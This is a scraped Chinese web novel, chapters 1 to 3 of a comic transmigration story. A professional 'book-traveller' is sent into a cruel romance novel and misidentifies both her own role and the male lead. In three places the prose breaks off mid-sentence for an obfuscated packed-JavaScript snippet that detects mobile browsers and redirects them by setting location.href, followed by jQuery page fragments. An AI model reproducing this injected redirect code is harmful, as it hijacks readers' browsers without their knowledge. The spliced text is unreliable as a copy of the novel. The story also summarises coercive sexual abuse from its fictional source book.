《剧情还可以再拯救一下(穿书)》
1. 第 1 章
穿书研究所。
章媛媛刚看完一本封面夸张的古早虐文。
女主周颜被敌国太子赵臣殊狠狠爱上,赵臣殊率军灭了卫国,杀光周颜所有亲眷,只为将女主囚禁在身边。
故事的最后,赵臣殊将衣不蔽体的周颜按在床上,顶撞着面色桃红的周颜。
他问:“颜儿……喜欢这样吗?”
奚元合上书,揉了揉太阳穴。
21世纪,被穿书系统绑定的普通人越来越多,他们很难活着走完剧情,一种新型的职业由此诞生。
——职业穿书人。
章媛媛,穿书研究所005号员工,接过三次任务,末世求生,居民楼惊魂,农家乐。
手上这本书是她的第四次任务,也是她第一次接狗血虐文。
她的上司黎棠正好路过,章媛媛上去请教。
她细心地把没看懂的地方折了角,今晚还可以再温习下剧情。
黎棠满意地点点头,今年的优秀员工非章媛媛莫属。
穿书前,无法预知宿主会穿越到哪个角色身上,所以每个角色的身份信息、重要剧情都要记得滚瓜烂熟。
章媛媛打开第一处折角的地方,她问:“黎姐,你看这段,周颜被赵臣殊捆着坐在王位上,一只腿被赵臣殊扛在肩上,另一只压在他身下,逼到死角,狠狠疼爱。”
章媛媛面色正经得像在和同学谈论数学压轴题,“按照这个描述,周颜是个劈叉高手,双腿保持180度足足两小时,我是不是得先练一练,万一抽到周颜这个角色。”
黎棠点点头,赞同:“嗯,有难度,时间充裕的话可以学下。”
章媛媛又翻到第二个折角,关于恶毒女二的剧情。
剧情中,恶毒女二奚元机缘巧合中救了赵臣殊一命,被他的英俊容颜迷惑,自愿献身。
可赵臣殊不喜欢身份低微的奚元,但也不推开他,把她留在身边,慢慢折辱。
章媛媛指着她划线的地方,问:“这儿,赵臣殊当众拽下奚元腰间坠裙,不顾奚元的求饶,往她下面塞冰块。这是不是对身体不太好啊,能报工伤吗?”
黎棠:“……可以,写纸质申请书,给我盖章,再交给财务部,能领补贴。”
黎棠看了下手表,“我要开会去了,你明天就要准备穿书了,注意安全,等你回家啊。”
章媛媛点点头。
明天要穿书,算外勤,今天可以早点回家。
她跟黎棠合租,在附近一个小公寓。
职业穿书人干的是刀尖舔血的活,穷途末路的人才会选择干这行。
章媛媛的爸从前干工地,当包工头,原本家境也算小康,但五年前工地安全措施没做到位,包括她爸在内的五个人从二十楼高的平台跌落。
她爸死了,还留下了很多债。
她妈得了精神病,回了老家,有外公外婆照顾。
章媛媛四处打工,发现自己的月薪还抵不上欠债每个月产生的利息。
穷途末路,她选择了当职业穿书人,这是个高薪的危险职业。
她深深吐了一口气,收拾东西回家。
-
卫国,西城。
街道凌乱,民不聊生,四处是饥瘦的黎民百姓。
卫国已建国两百年,而如今的卫光帝,是个两岁的婴儿。
章媛媛睁眼,发现自己躺在一片黄沙上,浑身脏兮兮的。
这是穿到了谁身上?不会是路人甲吧?
她低头看自己身上的装扮,穿着一件粉色长裙,头发用一个小巧的发簪整理好盘起来。
膝盖上破了层皮,有些胀痛。
头顶传来吵闹声。
“绿娆,我看着你把她推下去的,我要去告诉李妈妈!”说话的是个稚□□生,梳着和章媛媛一样的发型,脸颊鼓鼓的,很孩子气。
叫绿娆的女子,长得很高挑,仰着头,娇娇地反驳:“胡说,明明是她自己没站稳摔下去的!你不要血口喷人!”
章媛媛回忆书中内容,女主周颜曾参加西城城主夫人的宴会,并上台表演舞蹈。
在排练的过程中,周颜被恶毒女配绿娆推下二楼凉亭,摔倒在沙坑中,蹭破了膝盖,疼得梨花带雨,默默流泪。
明白了,她一定是穿成了女主周颜。
章媛媛拍掉膝盖上沾染的黄沙,曲腿坐在墙角,掩面装哭。
她柔柔道:“好疼啊~”
“都聚在这里干什么!还练不练了!”
远处传来浑厚的呵斥,是李妈妈来了。
“今晚就要给城主夫人献礼了,你们还跳成这样,小心家里的田被收回去,明年没饭吃。”
这些女孩都是西城人,家里大多分到几亩良田,有的还兼带做些小生意,靠天吃饭,能活着但不富裕。
被选来给城主夫人跳舞,是她们的荣幸。
今晚之后,每个姑娘都能拿到一吊银钱的报酬,足够一大家子人吃香喝辣半年了。
圆嘟嘟脸的叫楠雁,她告状:“李妈妈,是绿娆把人推下去的!”
绿娆两边嘴角朝下,气得拍桌,据理力争:“没有!明明是……”
李妈妈打断,挥挥手,强硬地说:“行了别吵了,要吵回家吵去,赶紧练习,别耽误时间了。”
所有对话和书里的一模一样。
完美。
穿书人的目标就是尽量不改动原书内容,并保证自己活到最后。
若这两条产生冲突,按部就班该角色会走向死亡结局,则以保证自己活着为第一要义。
“坑里那个,赶紧上来,”李妈妈不耐烦地喊道。
章媛媛站起来,膝盖红肿,我见犹怜。
她仰头看着亭子上乌泱泱的人。
这亭子不高,也就两米吧。
若是爆发病毒,僵尸能轻易蹦哒上去,丧尸能抬嘴啃到上面站着的人的脚。
她上一个穿书任务就是末日求生,非常刺激。
章媛媛抬手扶住上边围栏,轻轻一使劲就能把自己拉上去。
千钧一发之际,她终于想起来现在自己是娇娇女周颜,不是末日扛大炮的机甲战士。
她握着围栏的手慢慢松开,柔若无骨,轻抚着脏脏的矮墙,整个人脱力般靠在墙上。
她举起的手臂慢慢垂下,低垂的眉眼抬起,说出的话有气无力,好似病入膏肓。
“敢问李妈妈,最近的侧门在哪儿?”
绿娆奇怪地探头,问:“你不能爬上来吗?”
章媛媛大受震撼地瞪大双眼,惶恐地捂住心口,问:“啊……怎么爬……”
一柱香的时间后。
娇弱的周颜终于迈着优雅的小碎步,回到了庭院。
排练继续。
教舞蹈的老师很贴心地又把整首舞给他们示范着跳了一遍。
这儿总共有十八个女孩子,都是如花似玉的年纪。
章媛媛穿越而成的周颜,站的是c位,她是这群女孩中家境最好的一个。
父亲周祁是个九品芝麻官,管的是西城的水运。
西城只有一条河,是卫国主干道的支流的支流。
周祁上任十五年,从没有货船经过,景色也不美,没人来游船。
他在河边有一间茅草屋,充当他的办公室,平日里在屋里办公。
钓钓鱼,救救落水孩童……
排练完毕,章媛媛站在一旁打量周围环境。
这儿是城主家的别院,特意清出来给他们这些姑娘练舞用。
周围亭台楼阁,高低错落。
按照原书剧情,今晚城主夫人的宴会,赵臣殊也回来,将是赵臣殊对周颜一见倾心的时刻。
赵臣殊作为敌国皇子,乔装打扮混入卫国,在卫国有些暗线,此次参宴的身份是走货的富商。
今晚过后,周颜就会被赵臣殊囚禁在寝殿,开启不见天日、虐身虐心的五花八门play。
思及此,章媛媛长叹一声,又练了两个劈叉。
趁着剧情没展开,赶紧多看看外
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15439082|169345||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
面的花草树木吧。
以后的日子里,只剩一片蜡黄。
楠雁凑了过来,问:“你还好吧?”
章媛媛莞尔一笑:“别担心,没摔伤。”
接着还很亲近地握住楠雁的手。
原著里,楠雁是周颜的好姐妹,不离不弃的那种。
恶毒女二奚元也有一个好姐妹,就是那个叫绿绕的,两人一起天天捣乱。
楠雁用一种奇怪的眼神看着她,却也没有多说什么。
这个叫奚元的好奇怪,她们难道很熟吗?为什么要拉她的手?
不远处,绿娆抽起一根盆栽里的芦荟叶,愤愤地在上面刻指甲印。
好你个奚元,摔了一跤就忘了到底谁才是你最好的朋友了吗!
呜呜。
章媛媛一无所知,继续扮演身体娇弱、一吹就倒的周颜。
与各个角色完成了剧情规定的对话,章媛媛终于有了留白时间。
她打算一个人出去转转。
那么大的地图,她看都没看过呢,今晚之后就要永远被困在宅院内了。
趁现在,赶紧出去转转。
按照剧情发展,现在赵臣殊还在前往西城的路上。
至于这本书里的男二,幽王万罗潇,此刻还在京城闭关静养。
章媛媛可以放一百个心,绝对不会提前遇到重要角色。
隔壁是条热闹的街道,有家卖桂花糕的小店,门口围了很多人,特别清香。
章媛媛也凑过去,从身上摸出来两个铜钱,买了一份,边走边吃。
对街,一个小乞丐佝偻着腰,低着头,怀里抱着一包东西,看包装像是药房抓的草药。
小乞丐看着只有七八岁,很不起眼。
章媛媛吃着桂花糕,想去对面的首饰摊看看。
那小推车上摆了很多亮晶晶的手链,看着很吸引人。
一个不注意,腿撞上了那个小乞丐。
章媛媛:“小朋友,没事吧!”
她赶紧去扶倒在地上的小朋友。
小乞丐浑身脏兮兮的,被撞倒在地上,也一声不吭。
手上的棕色油纸包从他手上飞了出去,落在了地上凹陷的泥坑里,他立马手脚并用爬了过去,捡起纸包就跑。
章媛媛:“你跑什么啊!”
真是个奇怪的小孩。
章媛媛在集市逛了一圈,天色不早,就回了城主府。
戌时,华灯初上,晚宴开始。
他们十八个姑娘没有晚饭吃,李妈妈说,为了献舞时体态更为轻盈,饿一顿很值得。
城主夫人姓陈,这次宴请了西城中的贵女权贵,与大家伙联络感情。
她端着袖子,指点府中丫鬟小厮布置会客厅。
她的丫鬟彩燕从门外进来,行了个礼。
“夫人,卓家的小厮刚来传话,说他家少爷突染风寒,今晚不来赴宴了,还送来了两匹赤色锦缎,作为歉礼。”
陈夫人皱眉:“卓家?”
彩燕提醒:“卓家大少爷,卓殊,卓家老爷去得早,殊少爷做的是走货生意,不常待在西城。”
陈夫人想起来了,卓家是个商贾之家,财力雄厚却没有底蕴,只有卓殊一个独子,在西城也排不上号。
这次递帖子也不过是给卓家几分薄面,毕竟他们城主府可是远近闻名的热情好客。
陈夫人没放在心上,不来就不来,还省张桌子。
“把锦缎送去我屋吧,小心些,别弄脏了。”
彩燕屈腿行礼退下:“是。”
这时,陈夫人的另一个丫鬟彩云慌慌张张地从屋外跑来。
“夫人!夫人!”
陈夫人皱眉,毛手毛脚的,像什么样子。
“慌什么?”
彩云被前面的台阶扳倒,顺势跪在地上,仰头对陈夫人说:“今晚的宴席,幽王要来。”
陈夫人一惊。
“幽王?”
幽王殿下日理万机,他为什么会在西城?
2. 第 2 章
卓家院子中央种着一棵树,树下一男子穿着浅蓝色的粗布衣,与另一个年轻人下棋。
用的是上好的白玉琪。
“殿下打算在卫国待多久?”林洛洲问。
赵臣殊扭了扭自己的脖子,这粗布衣穿着真难受,像蚂蚁在自己身上爬。
“用不了太久。”
林洛洲笑了一声,拿起一枚棋:“三皇子殿下这次秘密出访,就只带了一个仆从,没人伺候饮食起居,确实住不久,这院子都看着冷冷清清的。”
赵臣殊指了指他:“还带了你。”
林洛洲把手里的棋子一扔,反驳:“我又不是你佣人,我是赵国大名鼎鼎的翰林学士!”
屋内传来糊味,赵臣殊唯一的侍卫被呛出厨房。
赵臣殊瞧这局棋已处于劣势,猛拍石桌,把旗子都震得七零八落,站了起来。
“起越你在干什么!”
起越不会做饭。
偏偏今天殿下说吃腻了外头那条街上的小吃,想吃正宗的赵国美食。
他哪里会做。
起越:“殿下,锅巴饭吃吗?”
赵臣殊恶狠狠:“嗯?”
起越低头拱手:“很香的。”
……
三个人在树下吃锅巴糊饭,焦香焦香的,别有一番风味。
这卓家院子没怎么打扫过,很早之前卓家是赵国安插在卫国的眼线,后来不幸全家都死了,只有独子卓殊被秘密送往赵国养大,这儿的院子也就空了出来。
赵臣殊这次潜入卫国,用的就是卓殊的身份。
林洛洲看这院里一片萧瑟,开始出馊主意。
“你瞧这院子,多孤寂啊,你要不在这儿也置办上几个美人,也好夜夜春宵啊。”
赵臣殊白了他一眼,“嘴碎,真讨厌你这种只会打嘴炮的文官。”
赵臣殊是当今太子的有力人选,虽说立太子的大典还没有正式举行,但所有人都默认,他就是下一任君王。
毕竟他的弟妹全是歪瓜裂枣。
也因此,他的三皇子府已经人满为患,处处是莺歌燕舞,香气扑鼻。
他结婚都结腻了,不想娶了,赵王苦口婆心地劝他。
再娶一个,就一个!
娶了张家的闺女,那李家的闺女也必须得娶,不然没法做到后院平衡,就不能前朝平衡。
这是帝王的权衡之术。
可惜,他小小的三皇子府实在住不下更多人了。
还有朝臣想塞闺女的,只能往赵王的后宫送了。
老牛吃嫩草,不要脸。
林洛洲数了数这卓家的厢房。
“总共十八间,绰绰有余,十八个小美人嘻嘻嘻嘻。”
按照原书剧情发展,周颜之后就要被关在卓府中下不来床啦。
赵臣殊:“闭嘴。”
他这次来卫国,是来干正事的。
两国边疆战局一触即发,一场大战在所难免。
赵国的面积、人口数量不如卫国,真要是硬碰硬,卫国的胜算更大。
所以,他要提前来搞点事。
赵臣殊已让线人秘密送来一包赵国特产的慢性毒药,打算在晚宴的时候放进城主和他夫人的饭食中,让他们神不知鬼不觉得中毒。
接着,他们便只能沦为为赵国效力的囚徒。
妙哉。
卓家院子的门被打开,一个小乞丐哆嗦着走了进来。
“殿下。”
赵臣殊摊手,“药拿来。”
小乞丐:“殿下……药掉在水里,化没了。”
赵臣殊:“……”
什么!
这可是他赵国也罕见的毒丹毒药,就这么没了?
小乞丐:“我路上撞到一个人,把手里的药掉了。”
赵臣殊:“查!给我查!我要知道这个人是谁!”
小乞丐立马应声跑掉了。
他摸摸自己的小脑袋。
保住了,真好。
林洛洲问:“那晚上还去城主府吃饭吗?”
赵臣殊正在气头上:“吃个屁,你要吃你吃去,药都没了还去干嘛?跟卫国人交好朋友吗?你当我是来光明正大搞外交的啊。”
林洛洲摆手:“那我也不吃了。”
-
西城素园。
卫国人尽皆知的幽王在此躲清净。
他脱言身子不适,请了半年病假,谁都不见。
卫国当朝皇帝是个两岁的小婴儿,坐都不会坐,得让太监扶着,奏折上都是沾染的奶味。
每天朝臣还得跟他一起过家家。
烦死了。
这班上的真没意思。
所以他躲清净到了西城,没告诉西城的官员。
侍卫凛风传话:“殿下,太后托人送来一对舞女。”
万罗潇:“让她滚。”
每日皇城里给他送东西的人不少,凛风记不住,拿出张纸给万罗潇报。
“丞相送来了西域美女。”
“滚。”
“谢老太妃送来了她家的侄女,备注,是嫡长女。”
“也滚。”
“宋将军送来一列铁骑,备注,都是战场上立过功的。”
“滚。”
万罗潇说一个,凛风就在纸上打一个叉。
连着说了十几个“滚”,非常丝滑。
“程王送来两只肥美羔羊。”
“滚。”
凛风正要打叉,万罗潇抬手,“慢着,这个不用滚,这个炖了。”
凛风:“好嘞。”
冽风从门外进来,“殿下,卓园内有异动。”
万罗潇:“说。”
冽风:“那赵国三皇子不去西城城主家的宴会了,派人送了歉礼。”
他这几日都蹲在卓家院附近,什么动静都逃不出他的眼睛。
“不去了?”万罗潇奇怪,早有线人来报,那三皇子赵臣殊让人秘密运进一批毒药,万罗潇猜测是要毒西城城主。
按时间算算,大约已经到了西城。
怎么又不毒了?
他没派人去使绊子啊。
冽风:“殿下,我们的仓库里也有几包慢性毒药,效果类似,要不要我找个机会送给他们。”
赵臣殊要是不下毒了,他们后面的计划还怎么展开!
凛风嫌冽风脑子笨:“那也太引人注目了,一定会被他们看出端倪。”
万罗潇把玩着手中茶盏,猜不透这赵臣殊为何突然改了主意,他不信老谋深算的赵国三皇子会没拿到毒药,一定是别的地方有了差池。
万罗潇:“凛风,去告诉城主府,今晚的宴会,我会去。”
“是。”
既然不知道是哪儿出了差池,那就让他亲自去看看。
-
十八个姑娘躲在屏风后的纱帘内。
晚宴即将开始。
章媛媛很饿,下午就吃了几块桂花糕。
她察觉到一直有视线盯着自己。
带着怨气,带着不甘。
是绿娆。
章媛媛莫名其妙,她啥也没干啊,应该没有触发支线剧情吧。
书里的这一段没有宅斗情节。
为什么……
她要用这么幽怨的眼神看着自己?
先不管这个。
马上,赵臣殊就要来赴宴了,她要一舞惊鸿,夺得他的心和身。
章媛媛又练了几个劈叉。
小说中的赵臣殊在床上玩得花,手段多样,周颜天天被他折腾得下不来床。
而且,只要周颜暴露出一丝一毫要逃离他的想法,他就会变本加厉地玩弄。
章媛媛在看小说时,觉得还满刺激的,狗血奇葩的剧情,有意思。
但让自己亲自来上一遍,还是有些难以接受。
她只喜欢看小说主角被强制爱,不想自己被囚禁小黑屋啊。
要不……直接打破原有剧情,自己闯出一条血路。
……
还是算了吧,打破原有剧情,会造成数不清的蝴蝶效应,到时候不好收场。
章媛媛在心中给自己打气,这些都不过是逢场作戏。
要坚强。
这时,章媛媛忽然想起什么。
她的耳边怎么这么安静。
她的系统呢?
为了增加穿书的趣味性,一般穿书人都会被迫绑定系统。
前几次穿书,章媛媛都拿到了系统和金手指。
为什么这回没有。
出b
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15439083|169345||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
ug了?
前厅来人传话,该他们表演了。
姑娘们带上粉色的面纱,拿起罗扇便一同跟着过去。
前厅坐着西城的权贵世家、各行首富,还有城主家的家眷。
陈夫人有两儿一女,两个儿子都到了该婚配的年纪,女儿最小,才十岁。
除此之外,城主还有两个妾室。
一个叫柳香,在陈夫人后一年进门,有一个儿子,已到了能娶妻的年纪。
另一个叫姜子梨,是城主近两年新纳的妾室,有一个女儿,尚在襁褓之中。
这次的宴会,陈夫人的两个儿子都在宴席左边入座,柳姨娘的儿子也在。
西城城主江文谋举杯,“欢迎各位远道而来,江某先敬大家一杯。”
除了宴会厅左侧的首座,其他人都站了起来,遥遥举杯。
首座那位殿下,自顾自坐着,丝毫不管江文谋。
他梳着高发髻,额前不留碎发,着一身淡蓝衣裳,此刻曲着腿侧坐,坐姿懒散,盯着手中的茶盏。
江文谋和陈夫人悄悄看了他一眼,接着立马挪开视线,闷头喝酒。
不知幽王为何大驾光临。
他们也不敢问。
陈夫人未忘记此次办宴的初心。
“各位,我家二位少年郎已初长成。”
在她的话语下,江启优和江启秀站了起来,和大伙拱手行礼。
这次的宴会,就是陈夫人想让自家两个儿子接触西城权贵造的机缘。
两位少爷是异卵双胞胎,江启优长得更舒缓,江启秀更硬朗。
他们数月前一直在外求学,跟的是赫赫有名的宗老先生。
如今,学成归来,也到了考虑自己终身大事的时候了。
清扬的乐曲声响起,十八个姑娘从屋外缓缓而来。
她们都戴着若隐若现的轻纱,遮住了下半张脸。
章媛媛站在最中间,快速扫过所有来宾。
她一眼就看到了坐在左前方的那位蓝衣公子。
就是你了吧,你长得最帅,主角光环最为耀眼。
赵臣殊!我来啦!
古琴声响起,章媛媛在其中翩翩起舞。
贴身的裙摆随着转动扬起,划出好看的弧度,像花瓣一样绽放。
章媛媛一直用余光注意着蓝衣公子。
他没什么表情地看着舞蹈,叫人看不出喜怒哀乐。
真是个内敛的人。
书里说了,赵臣殊对周颜一见钟情。
遇到喜欢的人还能装作如此波澜不惊,真叫人佩服。
万罗潇皱眉看了最中间的姑娘一眼。
为什么这人一直在看他,有鬼。
江启优拍了拍自己哥哥的肩,低声说:“那个领舞的姑娘,长得有几分姿色。”
这悄悄话被一旁的陈夫人听了去,教育道:“未娶妻之前,别动歪脑筋。”
这些姑娘都家世普通,嫁进来当个妾也还行,明媒正娶那是绝无可能。
她对孩子的教育一向严苛,没娶妻之前决不允许纳妾。
一旁坐着的姜姨娘和柳姨娘对视一眼,低头吃饭。
她俩努力减少自己的存在感,但挡不住有爱出风头的晚辈。
柳姨娘的儿子江钟也坐在旁边,所有话一字不落地听见了。
人人都爱美人。
看到含羞遮面的姑娘快要流拍了,他站了起来。
江钟:“父亲,母亲,我对这位领舞的姑娘一见钟情,想与她再叙一二。”
江启优和江启秀是嫡子,而他江钟是庶子,身份不如两个哥哥高贵。
但正因为如此,各种礼仪规范他也可以不管很多。
平日里被哥哥们压一头,他早就隐隐不服。
今日,他就要娶哥哥们都没法娶的女人。
柳姨娘瞪了他一眼,示意他闭嘴。
两个哥哥都没娶妻,哪来他说话的份。
章媛媛跳着舞偷听,惊呆了。
小说里没有这段啊。
小说里的故事发展是,赵臣殊一眼爱上周颜,扛着她就走了大门。
章媛媛看向蓝衣男子,眼神里带着震惊和期许。
来啊,扛我啊!
难道还要她主动吗?
3. 第 3 章
男主疑似掉线发呆中。
今日有大人物在,江文谋不好当着众人的面冲儿子发火。
“哈哈,钟儿啊,难得遇到喜欢的人。”
江钟依旧傻站着,等着自己爹的下一句话。
为了保证剧情的顺利进行,章媛媛豁出去了。
她灵活走位,来到了蓝衣男子桌前。
熏了香的团扇拂过他的鼻翼。
接着,一个转圈,倒在蓝衣男子怀中。
章媛媛青葱手指勾住男人的后颈,慢慢磨蹭。
用无辜羞涩的深情望着他。
快来揭开她的面纱,欣赏她的绝世容颜吧。
章媛媛迫不及待地想。
万罗潇见识过很多勾引人的手段,很多大臣给她送过女人,全被他丢了出去。
至于这个……
美人计他见多了,在他双手一点没碰她的情况下,能将自己上半身离地45度角稳稳定住的,他是第一次见。
腰腹力量了得,绝非常人。
怕不是某些人派来的细作。
万罗潇笑了一声,伸手搂住了章媛媛的肩,将他牢牢地控制在自己怀中。
既然想作乱,那他自然要当个好人,创造机会。
他起身,道:“这个人,本王带走了。”
章媛媛小幅度锤了下蓝衣男的胸口。
哎呀呀,你现在是伪装成了富商卓殊,怎么还自称本王,真不专业。
幸好屋内的乐声够大,没什么人听见。
万罗潇抱着章媛媛,大摇大摆走在路上。
他问:“叫什么名字。”
章媛媛羞涩低头,鬓边碎发遮住眉眼。
“民女姓周,单名一个颜字。”
万罗潇挑了挑眉,重复,“周颜?好名字。”
街道房顶上,冽风一直暗中跟随。
听到“周颜”的名字,立马翻身下楼,找到最近的一处眼线。
“周颜,十分钟内,主子要知道她的全部信息。”
卖包子的大叔依旧保持和蔼可亲的笑容,低声说了句“是”。
路越走越远,人流也渐渐没了。
宽阔的路上,万罗潇抱着章媛媛,抱的有些不耐烦了。
都快到素园了,这个女人怎么还不动手。
难道真想跟他回家吗?
他才不要。
有什么歪门邪道快点朝他使出来吧。
章媛媛窝在他怀里,枕得还挺舒服。
万罗潇的手抱得很稳,肌肉紧实,很有力量。
她回想原书的内容,今夜会是个不眠夜。
即使没有系统在她的耳边督促,她还是要勤勤恳恳完成剧情任务。
她是个合格且自律的穿书人。
赵臣殊把她抱得很紧,她右侧的肩膀都被挤得有些发麻。
好挺符合赵臣殊的人设的,偏执,不容拒绝,狠戾,□□。
不过……
她抬头看蓝衣男的脸。
长得倒是一副翩翩公子、温润如玉的模样,内心竟然龌龊成这样。
啧啧,人不可貌相。
万罗潇路过素园,没有进门,进了旁边的一座府邸。
门上的牌匾有些老旧,写着程府。
府内无人。
章媛媛环顾一周,了解了下她以后的凄惨地。
万罗潇睨她一眼。
呵,露出马脚了吧,还想着记地形,一定是别有用心。
程府是程王家的老宅。
自打老程王得胜归朝封王后,程王一家都搬去了京城,这儿的老宅无人居住。
现如今,老程王已西去,他的儿子程子岁继承爵位。
万罗潇随便踹开了一间屋子,屋内都是灰尘,呛得章媛媛咳嗽几声,眼角都呛出了泪花。
她埋在蓝衣男胸口,把他的衣服当口罩,过滤灰尘。
屋内只有一张空床和几张桌椅,空空如也。
万罗潇把人放在床边,一手扯下她的面纱。
他站在一旁,用探究的眼神看着她。
是个漂亮姑娘。
那又如何?
他万罗潇从不是打男不打女的人。
在他这儿,人人平等,只要是奸细,都得杀。
这姑娘手上有一层茧,在她用手指勾搭他脖子的时候他就感觉到了,不是养尊处优惯的官家大小姐。
要么是天天下地干农活,要么……就是某些人从小培养出来的杀人高手。
章媛媛见万罗潇没了动静,就这么用诡异的眼光看着自己,有那么一丝慌乱。
这是该她表演了吗?
她没谈过恋爱,没结过婚,不知道一男一女待在一个密闭空间里该说些什么。
她尬笑一声,心道:书里说你爱我爱得死去活来,怎么这么不主动啊。
她犹豫一会儿,凹出个妩媚造型,柔顺的长发披散在肩上,显得楚楚可人。
床是木头做的,年代很久,上面的涂漆已经日久风干,有几根倒刺扎在上头,不像是能睡的样子。
章媛媛打量这间屋子,看起来有几十个年头,应该比面前的人年纪更大。
什么审美啊。
万罗潇嗤笑一声,问:“四处看什么,看出什么门道来了?”
没把你带回我的府邸,大失所望吧。
而在章媛媛耳中,这句话的意思就是,你看什么,难道想找出口逃走吗?
现在还没到她逃他追她插翅难飞的剧情,章媛媛一向守规矩。
她是二十一世纪新公民,思想更开放,行动更清醒。
她低头看了眼有好多木刺的床,问他:“有被子吗?”
万罗潇:“?”
不是,还没演完,还真要一起睡觉啊。
她还想装到什么时候,直接掏暗器兵刃相见吧。
他不耐烦:“就这么睡,这儿没有被子。”
章媛媛捂嘴抽泣,哭诉:“公子,你忍心让娇嫩的我,睡在如此粗糙的床上吗?”
万罗潇向前几步,逼近。
章媛媛明知道后面会发生什么剧情,却依旧害怕。
章媛媛被他逼到墙角,身边被男人滚烫的气息包围。
男人凑在她的耳边,炙热的呼吸吹拂她的耳廓。
章媛媛不由心跳加速。
万罗潇锋利的眼神刺向他,像在审视来之不易的猎物。
周围气温攀升。
不知是爱情的火花迸发,还是双方对峙的烽火。
章媛媛单方面觉得,勾引得差不多了。
她伸出青葱手指,环住万罗潇的脖子,另一只手附上他领口处的纽扣,轻轻拨弄。
她,准备好了。
她从衣袖中掏出一粒药丸。
这是她下午出去逛街的时候偷偷买的,避孕丹。
哪怕是为了完成剧本任务,哪怕现在是在穿书,还是得做到科学避孕,人人有责。
她的唇缓缓靠近万罗潇的喉结,装模作样地亲了一口。
对方喉结滚动,不知是否情难自禁。
章媛媛满意地笑了。
她偷偷将手指间藏着的药送入唇间。
成功!
做再久都不怕啦。
啪叽一声。
背部忽然来了一记猛烈的拍打。
章媛媛还没吃进去的药一下子吐了出来,滚落在地上。
她的脖子上横了一把锋刃。
万罗潇拿起她的裙摆,当成抹布,擦掉她在自己脖子上留下的红印。
接着,将她抵在床上。
章媛媛:救命!剧本里没说第一次玩这么猛啊!
万罗潇沉声发问:“说吧,谁派你来的。”
外头的门被打开,凛风和冽风走进。
冽风道:“殿下,查清楚了,周颜是河官周祁家的独女,原本也应该参加这次宴会献舞的,但是忽染风寒,此刻正在家歇着。”
言外之意,床上这位,不是周颜。
章媛媛:“……啊?”
床上的木刺扎破了她的手臂,露出刺眼的鲜红。
她说:“卓少爷,我真的是周颜啊,求您信我。”
她哭的梨花带雨,演技入木三分。
可惜……
哭错了人。
万罗潇嘴角抽搐。
好啊,连他是谁都不知道,竟把他当成了赵臣殊!
那个赵国皇子哪像本王般帅气逼人。
这个女人是谁已经不重要了。
“来人,把她押进牢,啊不对,押进素园地牢,本王要亲自审问。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15439084|169345||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
章媛媛欲哭无泪。
什么鬼啊。
她明明啥也没干,一直本本分分做任务,怎么就落得如此下场。
系统!
呼叫系统!
她的系统到底死哪去了!
万罗潇示意检查地上的药丸。
外头进来一郎中,检查后说:“殿下,这是北城常见的避孕药。”
笑话,难道他真的会碰她吗?
还有,为什么她不愿意怀本王的孩子?
外头滑跪进来一个姑娘。
被外头的侍卫拦住,只好在门口大声呼喊。
“幽王殿下,求您大人有大量,放她一条生路吧。”
章媛媛抬眼看去,竟是绿娆。
宴会上,一曲舞毕,他们听到城主说刚刚那位带了个女人走的是幽王殿下。
绿娆心道不妙,立马寻来。
一直跟在他们的后面。
“幽王殿下,我的这位姐妹叫奚元,是花蕾村老实农人家的女儿,家境清白。”
章媛媛:什么?她怎么会是女二?
那穿过来的时候,为什么她会被推下亭子,还是舞蹈的C位。
她不是周颜吗?
绿娆:“她从前在远乡意外被卓家公子救了,自那之后便对卓公子念念不忘。听闻卓公子会出席今日宴会,她高兴不已,日日练舞。”
“原本舞蹈的领舞周颜小姐突然生病,她被选作新的领舞,但她今日下午过于高兴,自己摔下了亭子,似乎到现在脑子还是不清醒。”
绿娆框框磕了两个头:“求殿下放过奚元。”
万罗潇望向床上的奚元。
对方似乎一脸懵逼,还没反应过来。
为什么周颜会忽染风寒?
小说根本不是这么写的。
如果没有人为干预,剧情不可能变动。
除非……
在她来之前,这个故事里已经有了别的穿越者。
万罗潇问:“真傻了?”
奚元点头又摇头。
看她这个样子,倒确实像是爱慕赵臣殊已久。
但她连赵臣殊长什么样都不知道,怎么迷恋的?
而且,赵臣殊是敌国皇子。
爱慕敌国皇子,吃里扒外。
但这话万罗潇没法说,因为这些民众不知道卓殊的真实身份。
如此说来,她手上的茧也有了来处,是日日劳作磨出来的。
“既然是清白人家的姑娘,那便走吧,”万罗潇挥挥手,他无意滥杀无辜。
奚元被绿娆拉扯走。
离程府一段距离,绿娆才敢跟奚元开口说话。
她皱眉问:“元元,你怎么回事?你也发烧了?”
她的手贴近奚元的额头,一片冰凉。
奚元依旧是懵的。
“我是奚元?”
